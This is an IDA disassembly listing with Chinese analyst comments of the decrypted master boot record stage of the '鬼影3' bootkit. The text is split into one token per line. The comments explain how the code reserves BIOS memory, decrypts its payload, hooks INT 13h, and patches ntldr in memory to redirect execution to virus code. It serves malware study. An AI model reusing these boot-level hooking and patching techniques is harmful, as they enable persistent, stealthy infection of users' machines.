seg
000
:
0000
;
seg
000
:
0000
;
+
seg
000
:
0000
; | This
file
has been generated
by
The Interactive Disassembler
(
IDA
)
|
seg
000
:
0000
; | Copyright
(
c
)
2011
Hex
-
Rays
,
<
[
url
=
mailto
:
support@hex
-
rays.com]support@hex
-
rays.com[
/
url
]
>
|
seg
000
:
0000
; | License info
:
48
-327
F
-7274
-
B
7
|
seg
000
:
0000
; | ESET spol. s r.o. |
seg
000
:
0000
;
+
seg
000
:
0000
;
seg
000
:
0000
; Input MD
5
:
5705
DEC
26970
DA
764
A
175090823
A
00
B
1
seg
000
:
0000
; Input CRC
32
:
2
D
814
F
11
seg
000
:
0000
seg
000
:
0000
;
seg
000
:
0000
; File Name
:
j
:
\Virus\鬼影
3
分析\鬼影
3
之MBR分析\DECODEMBR
seg
000
:
0000
; Format
:
Binary
file
seg
000
:
0000
; Base Address
:
0000
h Range
:
0000
h
-
0200
h Loaded
length
:
0200
h
seg
000
:
0000
seg
000
:
0000
.
686
p
seg
000
:
0000
.mmx
seg
000
:
0000
.model flat
seg
000
:
0000
seg
000
:
0000
;
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
seg
000
:
0000
seg
000
:
0000
; Segment type
:
Pure code
seg
000
:
0000
seg
000
segment byte public 'CODE' use
16
seg
000
:
0000
assume cs
:
seg
000
seg
000
:
0000
assume es
:
nothing
,
ss
:
nothing
,
ds
:
nothing
,
fs
:
nothing
,
gs
:
nothing
seg
000
:
0000
jb short loc_
5
; cli是关中断
seg
000
:
0000
; 防止有些硬件中断对程序的干扰
seg
000
:
0002
jnb short loc_
5
; 不管任何情况都跳到loc_
5
seg
000
:
0002
;
seg
000
:
0004
db
0
Ah
seg
000
:
0005
;
seg
000
:
0005
seg
000
:
0005
loc_
5
:
; CODE XREF
:
seg
000
:
0000
j
seg
000
:
0005
; seg
000
:
0002
j
seg
000
:
0005
cli ; cli是关中断
seg
000
:
0005
; 防止有些硬件中断对程序的干扰
seg
000
:
0006
mov
word
ptr cs
:
600
h
,
es
seg
000
:
000
B mov cs
:
602
h
,
sp
seg
000
:
0010
mov
word
ptr cs
:
604
h
,
ss
seg
000
:
0015
mov dword ptr cs
:
7
FCh
,
800
h
seg
000
:
001
F lss sp
,
cs
:
7
FCh ; 进行一些初始化操作
seg
000
:
0025
pushad ; 保存寄存器
seg
000
:
0027
push ds ; 压栈ds
seg
000
:
0028
mov bx
,
cs
:
413
h ; BIOS的内存地址存放到bx
seg
000
:
002
D sub bx
,
0
Dh ; 申请
0
Dhkb的大小的BIOS内存
seg
000
:
0031
and
bl
,
0
FCh ; 按照
4
K对齐
seg
000
:
0034
mov cs
:
413
h
,
bx ; 剩下的地址赋值回去
seg
000
:
0039
shl bx
,
6
; 获取段地址大小
seg
000
:
0039
; 计算方法是×
2
的
10
次方,然后除以
2
的
4
次方,所以左移
6
位
seg
000
:
003
C mov es
,
bx ; 将段地址赋值给es
seg
000
:
003
E xor bx
,
bx ; 清零bx
seg
000
:
0040
mov ax
,
201
h ; ah赋值为
2
h,al赋值为
1
h
seg
000
:
0040
; ah为int
13
h的功能号,al为读取扇区数
seg
000
:
0043
mov cx
,
1
; cx赋值为
1
seg
000
:
0043
; cx表示从第一个扇区读取
seg
000
:
0046
mov dx
,
80
h ; ;
80
H表示读取介质类型为硬盘
seg
000
:
0049
int
13
h ; DISK
-
READ SECTORS INTO MEMORY
seg
000
:
0049
; AL
=
number
of
sectors
to
read
,
CH
=
track
,
CL
=
sector
seg
000
:
0049
; DH
=
head
,
DL
=
drive
,
ES
:
BX
-
>
buffer
to
fill
seg
000
:
0049
; Return
:
CF
set
on error
,
AH
=
status
,
AL
=
number
of
sectors
read
seg
000
:
004
B
seg
000
:
004
B loc_
4
B
:
; DATA XREF
:
seg
000
:
0049
r
seg
000
:
004
B ; seg
000
:
0063
r ...
seg
000
:
004
B jb short loc_
50
; 压栈es
seg
000
:
004
D
seg
000
:
004
D loc_
4
D
:
; DATA XREF
:
seg
000
:
00
B
3
w
seg
000
:
004
D jnb short loc_
50
; 跳向loc_
50
指向
seg
000
:
004
D ;
seg
000
:
004
F db
2
seg
000
:
0050
;
seg
000
:
0050
seg
000
:
0050
loc_
50
:
; CODE XREF
:
seg
000
:
loc_
4
Bj
seg
000
:
0050
; seg
000
:
loc_
4
Dj
seg
000
:
0050
push es ; 压栈es
seg
000
:
0051
push
offset
loc_
55
seg
000
:
0054
retf ; 相当于跳转命令
seg
000
:
0054
; jmp loc_
55
seg
000
:
0055
seg
000
:
0055
loc_
55
:
; DATA XREF
:
seg
000
:
0051
o
seg
000
:
0055
push cs
seg
000
:
0056
pop ds ; 想当于指令mov ds
,
cs
seg
000
:
0057
mov si
,
6
Ch ; 此为一个扩展读操作,参数放在一个DAP结构中
seg
000
:
0057
; struct DiskAddressPacket
seg
000
:
0057
;
{
seg
000
:
0057
; BYTE PacketSize;
/
/
数据包尺寸
(
16
字节
)
seg
000
:
0057
; BYTE Reserved;
/
/
=
=
0
seg
000
:
0057
; WORD BlockCount;
/
/
要传输的数据块个数
(
以扇区为单位
)
seg
000
:
0057
; DWORD BufferAddr;
/
/
传输缓冲地址
(
segment
:
offset
)
seg
000
:
0057
; QWORD BlockNum;
/
/
磁盘起始绝对块地址
seg
000
:
0057
;
}
;
seg
000
:
005
A mov ax
,
cs
seg
000
:
005
C mov [si
+
6
]
,
ax
seg
000
:
005
F mov ah
,
42
h ; 'B'
seg
000
:
0061
mov dl
,
80
h ; 从DAP结构可以看出第一,第二参数是固定的,从
4
FFD
483
h读取
14
H个扇区到
200
h位置
seg
000
:
0061
; db
10
h
seg
000
:
0061
; db
0
seg
000
:
0061
; dw
14
h
seg
000
:
0061
; dd
200
h
seg
000
:
0061
; dd
4
FFD
482
h
seg
000
:
0061
; dd
0
seg
000
:
0063
int
13
h ; DISK
-
IBM
/
MS Extension
-
EXTENDED READ
(
DL
-
drive
,
DS
:
SI
-
disk
address
packet
)
seg
000
:
0065
jb short loc_
6
A
seg
000
:
0067
jnb short loc_
6
A ; 跳向loc_
6
A
seg
000
:
0067
;
seg
000
:
0069
db
3
seg
000
:
006
A ;
seg
000
:
006
A
seg
000
:
006
A loc_
6
A
:
; CODE XREF
:
seg
000
:
0065
j
seg
000
:
006
A ; seg
000
:
0067
j
seg
000
:
006
A jmp short loc_
7
C ; 以下代码是解密加密的代码区
seg
000
:
006
A ; 从
9
Eh开始,大小
2762
h
seg
000
:
006
A ;
seg
000
:
006
C db
10
h
seg
000
:
006
D db
0
seg
000
:
006
E dw
14
h
seg
000
:
0070
dd
200
h
seg
000
:
0074
dd
4
FFD
482
h
seg
000
:
0078
dd
0
seg
000
:
007
C ;
seg
000
:
007
C
seg
000
:
007
C loc_
7
C
:
; CODE XREF
:
seg
000
:
loc_
6
Aj
seg
000
:
007
C mov si
,
9
Eh ; ' ; 以下代码是解密加密的代码区
seg
000
:
007
C ; 从
9
Eh开始,大小
2762
h
seg
000
:
007
F mov cx
,
2762
h
seg
000
:
0082
seg
000
:
0082
loc_
82
:
; CODE XREF
:
seg
000
:
009
Cj
seg
000
:
0082
push cx
seg
000
:
0083
mov al
,
[si]
seg
000
:
0085
or
al
,
al
seg
000
:
0087
jz short _DeCodeOver ; 解密结束
seg
000
:
0089
jb short _DeCode ; 赋值cx为
73
h
seg
000
:
008
B jnb short _DeCode ; 执行解密代码
seg
000
:
008
B ;
seg
000
:
008
D db
3
seg
000
:
008
E ;
seg
000
:
008
E
seg
000
:
008
E _DeCode
:
; CODE XREF
:
seg
000
:
0089
j
seg
000
:
008
E ; seg
000
:
008
Bj
seg
000
:
008
E mov cx
,
73
h ; 赋值cx为
73
h
seg
000
:
0091
jb short loc_
96
; 将al循环右移
73
H,其实也就是右移
3
H
seg
000
:
0093
jnb short loc_
96
; 将al循环右移
73
H,其实也就是右移
3
H
seg
000
:
0093
;
seg
000
:
0095
db
4
seg
000
:
0096
;
seg
000
:
0096
seg
000
:
0096
loc_
96
:
; CODE XREF
:
seg
000
:
0091
j
seg
000
:
0096
; seg
000
:
0093
j
seg
000
:
0096
ror al
,
cl ; 将al循环右移
73
H,其实也就是右移
3
H
seg
000
:
0098
mov [si]
,
al ; 解密后的内容赋值回去
seg
000
:
009
A
seg
000
:
009
A _DeCodeOver
:
; CODE XREF
:
seg
000
:
0087
j
seg
000
:
009
A inc si ; si自增
1
seg
000
:
009
B pop cx
seg
000
:
009
C loop loc_
82
; 判断是否执行结束
seg
000
:
009
E push
0
; 后面的代码都是经过解密获取的
seg
000
:
009
E ; 我将解密的代码拼接在一起
seg
000
:
00
A
1
pop es ; 将es赋值为
0
seg
000
:
00
A
2
mov eax
,
dword ptr es
:
loc_
4
B
+
1
; loc_
4
b
+
1
保存着INT
13
H的地址
seg
000
:
00
A
7
mov cs
:
dword_
106
,
eax ; 将Int
13
h地址赋值给cs
:
dword_
106
,
保存原始Int
13
H的地址
seg
000
:
00
AC mov
word
ptr es
:
loc_
4
B
+
1
,
offset
_HookInt
13
HFunc ; 将Hook Int
13
h地址赋值过去,达到Hook效果
seg
000
:
00
B
3
mov
word
ptr es
:
loc_
4
D
+
1
,
cs ; 段寄存器赋值
seg
000
:
00
B
8
xor ebx
,
ebx ; 清零ebx
seg
000
:
00
BB mov bx
,
cs ; cs段赋值给bx
seg
000
:
00
BD shl ebx
,
4
; 获取段地址
seg
000
:
00
C
1
or
cs
:
239
h
,
ebx ; 段地址赋值
seg
000
:
00
C
7
or
cs
:
3
C
3
h
,
ebx ; 段地址赋值
seg
000
:
00
CD
add
ebx
,
204
h ; 因为后面的代码通过扩展读到
200
H的地方
seg
000
:
00
CD ; 这里的地址就是后面的病毒代码地址
seg
000
:
00
D
4
mov cs
:
200
h
,
ebx ; 将Hook的地址放到cs
:
200
H的地方
seg
000
:
00
DA mov di
,
7
C
00
h ; 目标地址
seg
000
:
00
DD mov si
,
2600
h ; 原始MBR存放地址
seg
000
:
00
E
0
mov cx
,
200
h ; 大小为
200
H
seg
000
:
00
E
3
cld
seg
000
:
00
E
4
rep movsb ; 串赋值操作,将原始MBR拷贝到
7
C
00
H地方
seg
000
:
00
E
6
pop ds
seg
000
:
00
E
7
popad
seg
000
:
00
E
9
lss sp
,
es
:
602
h
seg
000
:
00
EF mov es
,
word
ptr es
:
600
h ; 恢复现场操作
seg
000
:
00
F
4
jmp far ptr
0
:
7
C
00
h ; 跳向
7
C
00
H处执行原始MBR
seg
000
:
00
F
9
;
seg
000
:
00
F
9
seg
000
:
00
F
9
_HookInt
13
HFunc
:
; DATA XREF
:
seg
000
:
00
ACo
seg
000
:
00
F
9
pushf
seg
000
:
00
FA cmp ah
,
42
h ; 'B'
seg
000
:
00
FD jz short loc_
10
A
seg
000
:
00
FF cmp ah
,
2
seg
000
:
0102
jz short loc_
10
A
seg
000
:
0104
popf ; 以上代码是判断Int
13
H的功能号是
2
h还是
42
H
seg
000
:
0104
;
seg
000
:
0105
db
0
EAh ; ; EA是Jmp的机器猫,下面存放原始Int
13
h的地址
seg
000
:
0106
dword_
106
dd
0
; DATA XREF
:
seg
000
:
00
A
7
w
seg
000
:
0106
; seg
000
:
0110
r
seg
000
:
010
A ;
seg
000
:
010
A
seg
000
:
010
A loc_
10
A
:
; CODE XREF
:
seg
000
:
00
FDj
seg
000
:
010
A ; seg
000
:
0102
j
seg
000
:
010
A popf
seg
000
:
010
B mov
word
ptr cs
:
loc_
11
F
+
1
,
ax ; 将ax存放在指定位置
seg
000
:
010
F pushf
seg
000
:
0110
call cs
:
dword_
106
; 调用原始int
13
H功能
seg
000
:
0115
jb _Over ; 如果不是读操作,执行完毕就结束
seg
000
:
0119
pushf
seg
000
:
011
A cli ; cli是关中断,防止有些硬件中断对程序的干扰
seg
000
:
011
B push es
seg
000
:
011
C push ds
seg
000
:
011
D pushad ; 保护现场操作
seg
000
:
011
F
seg
000
:
011
F loc_
11
F
:
; DATA XREF
:
seg
000
:
010
Bw
seg
000
:
011
F ; seg
000
:
0129
w ...
seg
000
:
011
F mov ax
,
0
; 此处被上面的代码修改过
seg
000
:
011
F ; mov
word
ptr cs
:
loc_
11
F
+
1
,
ax
seg
000
:
0122
cmp ah
,
42
h ; 'B' ; 比较中断功能号是不是扩展读
seg
000
:
0125
jnz short _NotExternRead ; 不是扩展读就跳走
seg
000
:
0127
lodsw
seg
000
:
0128
lodsw ; ds
:
si扩展读的方式,指向的是磁盘数据地址数据包
seg
000
:
0129
mov
word
ptr cs
:
loc_
11
F
+
1
,
ax
seg
000
:
012
D les bx
,
[si] ; LES指令的功能是:把内存中指定位置的双字操作数的低位字装入指令中指定的寄存器
seg
000
:
012
D ; 高位字装入ES寄存器。 也就是找到缓存的位子
seg
000
:
012
F
seg
000
:
012
F _NotExternRead
:
; CODE XREF
:
seg
000
:
0125
j
seg
000
:
012
F mov ax
,
word
ptr cs
:
loc_
11
F
+
1
; 获取中断功能号
seg
000
:
0133
test al
,
al ; ax为
0
就不跳,不为
0
就跳,测试读取的扇区数
seg
000
:
0135
jle short _EXIT
seg
000
:
0137
xor cx
,
cx ; 清零cx
seg
000
:
0139
mov cl
,
al ; 将扇区数存放到cl
seg
000
:
013
B shl cx
,
9
; 获取扇区总大小
seg
000
:
013
E mov al
,
8
Bh ; ' ; 第一个搜索标志
seg
000
:
0140
mov di
,
bx ; 目标地址
seg
000
:
0142
cld ; 置位标志位
seg
000
:
0143
seg
000
:
0143
_INT
13
HookScan
:
; CODE XREF
:
seg
000
:
014
Fj
seg
000
:
0143
; seg
000
:
0157
j
seg
000
:
0143
repne scasb ; 开始查找
seg
000
:
0145
jnz short _EXIT
seg
000
:
0147
cmp dword ptr es
:
[di]
,
74
F
685
F
0
h ; 这是下一个搜索标志位
seg
000
:
014
F jnz short _INT
13
HookScan ; 检测 ntldr 中的特征序列
8
B F
0
85
F
6
74
21
/
22
80
3
D
seg
000
:
0151
cmp
word
ptr es
:
[di
+
4
]
,
8021
h ; 这也是一个搜索标志
seg
000
:
0157
jnz short _INT
13
HookScan ; 检测 ntldr 中的特征序列
8
B F
0
85
F
6
74
21
/
22
80
3
D
seg
000
:
0159
push es ; 压栈es
seg
000
:
015
A xor eax
,
eax ; 清零eax
seg
000
:
015
D mov es
,
ax ; es清零
seg
000
:
015
F mov ax
,
cs ; cs赋值给ax
seg
000
:
0161
shl eax
,
4
; 获取段地址
seg
000
:
0165
add
eax
,
200
h ; 这个为病毒后面代码区域
seg
000
:
016
B pop es ; 还原es
seg
000
:
016
C mov
word
ptr es
:
[di
-1
]
,
15
FFh ; 这里是一个CALL的机器码
seg
000
:
0172
mov es
:
[di
+
1
]
,
eax ; 这里达到Hook的效果Call [
offset
],
offset
的地址存放在eax
seg
000
:
0177
seg
000
:
0177
_EXIT
:
; CODE XREF
:
seg
000
:
0135
j
seg
000
:
0177
; seg
000
:
0145
j
seg
000
:
0177
popad
seg
000
:
0179
pop ds
seg
000
:
017
A pop es
seg
000
:
017
B popf
seg
000
:
017
C
seg
000
:
017
C _Over
:
; CODE XREF
:
seg
000
:
0115
j
seg
000
:
017
C retf
2